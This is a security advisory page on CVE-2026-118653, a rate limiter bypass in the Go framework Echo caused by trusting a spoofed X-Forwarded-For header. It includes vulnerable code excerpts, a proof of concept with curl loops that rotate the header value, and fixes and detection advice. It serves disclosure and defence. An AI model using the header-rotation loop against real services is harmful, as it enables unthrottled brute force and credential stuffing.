CVE-2026-118653: Echo has Rate Limiter Bypass via Spoofed X-Forwarded-For Header in Default Configuration
In Echo's default configuration, Context.RealIP() trusts the client-supplied X-Forwarded-For header, and the default RateLimiter() middleware keys on it. An attacker rotates the header value to get a fresh bucket per request and bypasses throttling. Fixed in github.com/labstack/echo/v5 5.1.0. Echo v4 (up to 4.16.2) has no patch; set Echo#IPExtractor.
Published Oct 28, 2026 · Analysis Nov 1, 2026
What an attacker can do
When Echo#IPExtractor is nil, which is the default after echo.New(), Context.RealIP() returns the first address in X-Forwarded-For, then X-Real-IP, then the TCP peer. DefaultRateLimiterConfig.IdentifierExtractor in middleware/rate_limiter.go calls ctx.RealIP(), so the rate-limit key is whatever the client writes.
An attacker sends each request with a different X-Forwarded-For value. Every value gets a new bucket, so a limiter set to one request never returns 429. The advisory's proof of concept loops through 10.0.0.1 to 10.0.0.100 and gets 200 every time.
The practical result is unthrottled brute force against login, password reset and 2FA endpoints, credential stuffing, and API abuse. No authentication or user interaction is needed, only network access. Any other per-IP control built on RealIP() (access logs, geo-blocking, audit trails) is just as weak. The framework's own ip.go comments say the default exists only for backward compatibility.
Who is affected
Any app that uses middleware.RateLimiter() (or a custom identifier based on RealIP()) without setting e.IPExtractor. Affected: github.com/labstack/echo/v5 before 5.1.0, and github.com/labstack/echo/v4 from 4.0.0 through 4.16.2.
go list -m github.com/labstack/echo/v5 github.com/labstack/echo/v4Then search your code for IPExtractor. If it is never assigned, the legacy header-trusting behavior is active on v4 and on v5 before 5.1.0.
github.com/labstack/echo/v5
- Ecosystem
- Go
- Affected
- < 5.1.0
- Fixed in
- 5.1.0
- Check
go list -m github.com/labstack/echo/v5
github.com/labstack/echo/v4
- Ecosystem
- Go
- Affected
- >= 4.0.0, <= 4.16.2
- Fixed in
- No patched version yet
- Check
go list -m github.com/labstack/echo/v4
How to fix it
On v5, upgrade to 5.1.0:
go get github.com/labstack/echo/[email protected]From 5.1.0, without an IPExtractor, RealIP() returns request.RemoteAddr and reads no spoofable headers. The old behavior is available as echo.LegacyIPExtractor(), so do not set that on an internet-facing app.
There is no patched echo/v4; it keeps the default for compatibility. Workarounds for v4: set e.IPExtractor = echo.ExtractIPDirect() with no proxy in front, or echo.ExtractIPFromXFFHeader() behind proxies, with TrustIPRange for proxies on public addresses. You can also set RateLimiterConfig.IdentifierExtractor to an identifier clients cannot choose.
If you run v5 behind a load balancer, configure the extractor after upgrading, or all clients will share the balancer's address.
How to tell if you were hit
Test your own endpoint: send repeated requests with curl -H 'X-Forwarded-For: 10.0.0.N', changing N each time. If you never see 429, you are exposed.
In access logs, look for many requests to login or reset routes from one real source that carry a different, often sequential, X-Forwarded-For value each time. Also look for unusual spikes in failed logins that your rate limiter did not block.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
When echo.New() is used without explicitly setting Echo#IPExtractor, the RealIP() method falls back to reading the client-supplied X-Forwarded-For (or X-Real-IP) header without any proxy-origin validation. The default RateLimiter() middleware derives its per-client identifier from ctx.RealIP(), so an attacker can rotate arbitrary values in the X-Forwarded-For header on each request to obtain a fresh rate-limit bucket and bypass IP-based throttling entirely.
Affected Component
context.go—(*Context).RealIP()(lines 186–208), legacy fallback branch (lines 190–200)middleware/rate_limiter.go—DefaultRateLimiterConfig.IdentifierExtractor(lines 46–58);RateLimiter()(lines 71–76)echo.go—New()(lines 326–343),IPExtractorleftnilby default
Description
RealIP() unconditionally trusts X-Forwarded-For when IPExtractor is unset
Context.RealIP() (context.go:186-208) first checks c.echo.IPExtractor. When this field is nil (the default for echo.New()), it falls through to legacy behavior and returns the first IP from the X-Forwarded-For header — the position an attacker has full control over:
// context.go:186-200
func (c *Context) RealIP() string {
if c.echo != nil && c.echo.IPExtractor != nil {
return c.echo.IPExtractor(c.request)
}
// Fall back to legacy behavior
if ip := c.request.Header.Get(HeaderXForwardedFor); ip != "" {
i := strings.IndexAny(ip, ",")
if i > 0 {
xffip := strings.TrimSpace(ip[:i])
xffip = strings.TrimPrefix(xffip, "[")
xffip = strings.TrimSuffix(xffip, "]")
return xffip // ← attacker-controlled first IP
}
return ip
}
if ip := c.request.Header.Get(HeaderXRealIP); ip != "" {
...
return ip // ← also attacker-controlled
}
ra, _, _ := net.SplitHostPort(c.request.RemoteAddr)
return ra
}Rate limiter default identifier extractor calls RealIP() unconditionally
DefaultRateLimiterConfig (rate_limiter.go:46-58) sets the identifier extractor to ctx.RealIP() with no guard for whether a safe IPExtractor is configured:
// rate_limiter.go:46-58
var DefaultRateLimiterConfig = RateLimiterConfig{
Skipper: DefaultSkipper,
IdentifierExtractor: func(ctx *echo.Context) (string, error) {
id := ctx.RealIP() // ← reads attacker-controlled header
return id, nil
},
...
}RateLimiter(store) (rate_limiter.go:71-76) copies DefaultRateLimiterConfig directly:
// rate_limiter.go:71-76
func RateLimiter(store RateLimiterStore) echo.MiddlewareFunc {
config := DefaultRateLimiterConfig
config.Store = store
return RateLimiterWithConfig(config)
}The result is that the most common usage pattern — e.GET("/path", h, middleware.RateLimiter(store)) — produces a rate limiter whose per-client identifier is fully controlled by the requester.
Framework acknowledges the issue for IP extraction but the rate limiter carries no warning
ip.go:27 explicitly states the default is insecure:
"Note: if you don't set Echo#IPExtractor explicitly, Echo fallback to legacy behavior, which is not a good choice."
And ip.go:117-119:
"In default behavior, Echo sees all of first XFF header, X-Real-IP header and IP from network layer. As you might already notice, after reading this article, this is not good. Sole reason this is default is just backward compatibility."
The IPExtractor mechanism (ExtractIPDirect(), ExtractIPFromXFFHeader(), ExtractIPFromRealIPHeader()) in ip.go exists precisely to close this gap. However, the RateLimiter() function and DefaultRateLimiterConfig have no corresponding warning and make no attempt to detect or flag that IPExtractor is unset, leaving operators who follow the standard rate limiter example silently exposed.
The test TestRateLimiterWithConfig_defaultConfig (rate_limiter_test.go:181-226) itself drives the rate limiter by setting X-Real-IP directly on the test request — demonstrating that the identifier is freely injectable without comment or mitigation.
Full execution chain
- Server starts with
echo.New()(noIPExtractorset) ande.GET("/limited", h, middleware.RateLimiter(store)) - Attacker sends
GET /limitedwith headerX-Forwarded-For: 1.2.3.4— rate bucket for1.2.3.4consumed - Attacker sends
GET /limitedagain withX-Forwarded-For: 1.2.3.4— second token consumed; if burst is 1, next request would be 429 - Attacker sends
GET /limitedwithX-Forwarded-For: 5.6.7.8— new bucket created for5.6.7.8, 200 OK returned - Attacker repeats step 4 with arbitrary IPs — rate limit never triggers; unlimited requests served
Proof of Concept
package main
import (
"net/http"
echo "github.com/labstack/echo/v5"
"github.com/labstack/echo/v5/middleware"
)
func main() {
e := echo.New()
// NOTE: IPExtractor deliberately NOT set — this is the default
store := middleware.NewRateLimiterMemoryStore(1)
e.GET("/limited", func(c *echo.Context) error {
return c.String(http.StatusOK, "ok")
}, middleware.RateLimiter(store))
e.Logger.Fatal(e.Start(":1324"))
}# First request with IP 1.1.1.1 — consumes burst token
curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited
# HTTP/1.1 200 OK
# Second request with same IP — rate limited
curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited
# HTTP/1.1 429 Too Many Requests
# Third request with DIFFERENT spoofed IP — bypass: new bucket, 200 OK
curl -i -H 'X-Forwarded-For: 2.2.2.2' http://127.0.0.1:1324/limited
# HTTP/1.1 200 OK
# Repeat indefinitely with rotating IPs — rate limit never triggers
for i in $(seq 1 100); do
curl -s -o /dev/null -w "%{http_code}\n" -H "X-Forwarded-For: 10.0.0.$i" http://127.0.0.1:1324/limited
done
# 200 200 200 ... (all 200, never 429)Impact
- Attackers can make unlimited requests to any endpoint protected by
middleware.RateLimiter()using the default configuration by rotating theX-Forwarded-Forheader - Brute-force attacks against login, password reset, 2FA, and similar authentication endpoints are unthrottled
- API abuse and credential stuffing are possible at arbitrary throughput
- Any per-IP security control that relies on
ctx.RealIP()with default configuration (access logging, geo-blocking, audit trails) is equally undermined
Recommended Remediation
Option 1: Require explicit IPExtractor configuration in RateLimiter() (preferred)
The RateLimiter() convenience function should detect when IPExtractor is not configured and either panic with a clear message or fall back to ExtractIPDirect() (direct-connection IP only):
// rate_limiter.go — illustrative change
var DefaultRateLimiterConfig = RateLimiterConfig{
Skipper: DefaultSkipper,
IdentifierExtractor: func(ctx *echo.Context) (string, error) {
if ctx.Echo().IPExtractor == nil {
// Fall back to direct TCP peer address — safe for non-proxied deployments
host, _, err := net.SplitHostPort(ctx.Request().RemoteAddr)
if err != nil {
return ctx.Request().RemoteAddr, nil
}
return host, nil
}
return ctx.RealIP(), nil
},
...
}Option 2: Document and warn in RateLimiter() godoc
At minimum, add a prominent warning to the RateLimiter() and DefaultRateLimiterConfig documentation directing users to configure Echo#IPExtractor before using IP-based rate limiting, mirroring the guidance already present in ip.go.
// RateLimiter returns a rate limiting middleware.
//
// SECURITY: The default IdentifierExtractor uses ctx.RealIP(), which reads
// X-Forwarded-For / X-Real-IP headers. Without setting Echo#IPExtractor,
// these headers are fully client-controlled and can be spoofed to bypass
// rate limiting. Set e.IPExtractor = echo.ExtractIPDirect() (no proxy) or
// echo.ExtractIPFromXFFHeader() (trusted proxy) before using this middleware.
// See https://echo.labstack.com/guide/ip-address for details.
func RateLimiter(store RateLimiterStore) echo.MiddlewareFunc {Credit
This vulnerability was discovered and reported by bugbunny.ai.
Patches
Fixed in github.com/labstack/echo/v5 v5.1.0: without Echo#IPExtractor, Context.RealIP() returns the address of the direct peer; the previous behavior is available as LegacyIPExtractor.
github.com/labstack/echo/v4 keeps its default for compatibility.
Workarounds
Configure Echo#IPExtractor for your deployment (echo.ExtractIPDirect() without a proxy, echo.ExtractIPFromXFFHeader() behind proxies, with TrustIPRange for proxies on public addresses), or set RateLimiterConfig.IdentifierExtractor to an identifier that clients cannot choose.
Credited to bugbunny-research.
Questions
- Is Echo v4 patched for this rate limiter bypass?
No. The maintainers kept the v4 default for compatibility and there is no patched v4 release. Set Echo#IPExtractor to ExtractIPDirect or a trusted-proxy extractor, or use a custom IdentifierExtractor.
- What changed in Echo v5.1.0?
Without an IPExtractor, Context.RealIP() now returns the direct peer address (request.RemoteAddr) and ignores X-Forwarded-For and X-Real-IP. The old behavior remains available as LegacyIPExtractor.
- Does the attacker need to be logged in?
No. The CVSS vector shows network access with no privileges and no user interaction. The attacker only needs to be able to send requests with a forged X-Forwarded-For header.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-118266
Echo has CSRF Protection Bypass via MethodOverride Rewriting POST to Safe Method
medium5.3Oct 28, 2026CVE-2026-118650
Echo's middleware.Static: `%2F`-encoded path bypasses route/group middleware guarding a statically-served path
high7.5Oct 28, 2026CVE-2026-118651
Echo: Reverse Proxy Forwards Attacker-Supplied X-Real-IP to Upstream by Default
medium5.3No fixOct 28, 2026CVE-2026-118652
Echo vulnerable to Reflected Cross-Site Scripting (XSS) via unsanitized JSONP callback in Context.JSONP / Context.JSONPBlob
medium6.1Oct 28, 2026CVE-2026-118654
Echo static file middleware route protection bypass via encoded dot-dot traversal
medium5.9Oct 28, 2026CVE-2026-118655
Echo has a Static Middleware Double-Unescape Path Traversal
medium5.9Oct 28, 2026
